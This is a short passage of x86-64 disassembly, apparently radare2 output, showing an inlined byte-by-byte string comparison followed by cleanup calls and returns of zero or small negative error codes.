je 0x18000f1cf
mov rcx, rax
call fcn.180001f40
mov rdx, qword [rdi + 8]
sub rbx, rdx
movzx eax, byte [rdx]
movzx ecx, byte [rdx + rbx]
sub eax, ecx
jne 0x18000f194
inc rdx
test ecx, ecx
jne 0x18000f182
test eax, eax
jne 0x18000f1b2
mov rcx, rdi
call fcn.180001800
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov rcx, rdi
call fcn.180001800
mov rdi, qword [rsp + 0x40]
mov eax, 0xfffffd0f
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd10
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd12
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret